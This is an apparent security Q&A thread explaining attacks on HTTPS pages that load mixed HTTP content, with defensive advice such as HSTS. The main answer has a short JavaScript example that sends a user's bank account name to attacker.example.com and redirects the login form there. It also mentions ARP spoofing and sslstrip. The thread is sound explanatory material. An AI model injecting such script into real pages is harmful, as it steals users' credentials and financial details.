I recall hearing there is a range of attacks one can mount against a page which mixes HTTP and HTTPS loaded content (say, https://Secure-Site.com loading an image from http://Not-A-Secure-Site.com) but I don't remember the specifics.

Could anyone list some common attacks that can be launched through this vector?

  • 1
    @Close voters: If this is too broad then "How does SSL work" should be removed from this website right now. Another close vote type might be applicable, but I don't think the question is too broad.
    – Luc
    Jul 13 '13 at 22:17
  • @Luc - That question you mention is rather old, but yes it would probably be closed under current guidelines. Same goes for a lot of older questions, and we do slowly review them, a process to which you're of course welcome as well. For what it's worth, these guidelines constantly change and are often discussed in Information Security Meta, and when they change substantially, this also reflects in user guides on How to Ask and in FAQ. And the review system just changed not two weeks ago, I'm sure you've noticed. I also suggest you stop by in The DMZ. ;)
    – TildalWave
    Jul 13 '13 at 23:21
  • 1
    I fail to understand how this question is put on hold for "too broad". There are just two possibilities to exploit HTTP contents in an HTTPS stream: sniffing through passive means and changing the contents through active means (MITM) and both are explained by @Luc quite effectively. There is this tendency on SE lately to put on hold everything that do not have a yes or no answer.
    – void_in
    Jul 14 '13 at 7:23

I recall hearing there is a range of attacks one can mount against a page which mixes HTTP and HTTPS loaded content

Basically the problem is that an HTTP connection can be tampered with. HTTPS is secured, doing three things:

  • Authenticating that the connected server is really the one you want (e.g. google.com).

  • Preventing anyone else from reading the data that you sent or that you receive.

  • Preventing the sent or received data from being modified.

Any non-https connection, even when loaded from an https-page, is subject to any of these three. I could impersonate google.com by spoofing the DNS (in whatever way), I could read what is being sent (an image could contain personal info if it's dynamically generated), or I could modify the page's contents.

Now there are basically two degrees in how bad such a mix is:

  1. When a script is loaded from an http connection (on an https page), that's extremely bad. You can consider the entire page to be compromised since it's easy to read and even modify the page by injecting data into the script.

  2. When an image, css file or another meta-file is loaded, that still opens the content up for some attacks. It might not be bad, but it totally could be. Since you never know, the browser should warn the user (by removing the padlock and displaying a mixed-content warning).

Could anyone list some common attacks that can be launched through this vector?

Basically there is only one problem: Man in the middle attacks where someone can see and/or modify your traffic. I'll break this up into two parts:

  1. Privacy.
    The internet is a network of networks. As your traffic travels across the internet, it can pass many networks. A simple traceroute to stackexchange.com shows that my traffic passes the following networks: my own, xs4all's, above.net's, pnap.net's, and finally stackexchange's. All of these could have taps, either specifically for me or not. Many of their employees could also view my data. This is mostly a non-issue if you don't have a tap, except if the connection passes a network from countries that heavily monitor internet traffic (Iran, China (USA?)). Usually your own network is the biggest issue though. Company networks often allow for ARP spoofing, which is an easy way to read everyone's traffic without anyone noticing. WiFi networks might be cracked as well. Even if you're not on WiFi yourself, if your network has a WiFi access point somewhere then your traffic might be read by others.

    Note: Governments (or rogue employees) might still be tapping your connection when using https by placing a tap at the website's end. They can bug the server and monitor all your moves on that site. I've never heard of this happening by governments, but they have methods to update: they do this. Note though that maybe this should be possible for governments because there are legitimate reasons to do this, they're just rare. The recent criticism on the NSA's surveillance (and US' in general) surveillance is because it's too much, not because any surveillance is bad.

  2. Actually modifying the page.
    How effective this is depends on the content type like I mentioned above. The easiest way to simulate this is by using proxies like the Zed attack proxy. To attack other systems you'll first need to setup ARP spoofing or something that does the same. Here is more in-depth what you can do with various content types:

    a. Modifying scripts:

    // Send the bank account of the user to another website
    var bankaccount = document.getElementById("AccountName").innerHTML;
    var req = new XMLHttpRequest();
    req.open("GET", "http://attacker.example.com/?a=" + escape(bankaccount), true);
    // And make the login form submit to another website.
    document.getElementById("loginform").action = "http://attacker.example.com/fakeLoginPage.php";

    b. Modifying images:
    When the attacker can control an image like the site's logo on the left top, he could change it so that it's a huge image covering the whole page. A part of the image might be a screenshot of how the page normally looks, and another part might be modified, showing false information (e.g. asking to call a fake phone number concerning a problem with their account).

    c. Modifying CSS:
    This is like the image modification, except here you can add arbitrary images and text anywhere on the page. If done correctly by the attacker, this is almost as severe as script injection. Content on the page can still not be read by the attacker, but what the user sees is now entirely up to the attacker. Phone numbers and any other instructions can be changed. The page could even say "use https://phishing.example.com instead because we have a security issue!" Yes, https will work on this phishing page. It's easy and legal to get free https certificates for any domain you own.

    d. When an iframe is loaded over HTTP
    The iframe could be modified to contain any sort of drive-by malware, be it a browser exploit, Flash exploit, Java exploit, or an exploit for another plugin (mind the difference between Java and Javascript!). This is usually no problem if you got everything up-to-date and you're not a high-profile target... but how many users ever have their browser entirely up to date? Don't take this risk.

    e. An http website links to an https website
    This is not a problem if users check the domain and padlock, but how many know what to look for, and look for it every time? This is frighteningly close to zero. When your login form is on http but submits to https, sslstrip (or some custom script) can easily make the user submit to another http page. Optionally it can redirect to the https website after submitting to http so the user does not notice anything at all.

If you want to do https properly, the only way is to enable it for your entire website. All images, stylesheets, iframes (Facebook's Like® buttons) and everything else should be secured. This might be a big undertaking for a big website, but if you take security seriously then it is certainly worth it.

Additionally, make sure that your webservers reject any http requests and redirect the user to the https page instead (without the http request being processed at all) and send the browser a Strict-Transport-Security header.


https communication is secure, http not secure.

Possible attack is man in the middle. If you travel to a page which isnt secure, I will be able to eavesdrop communication there, and hijack it.. for example, hijack your session. Simply copy and paste your session to my request, and I am authenticated as you.

Not the answer you're looking for? Browse other questions tagged or ask your own question.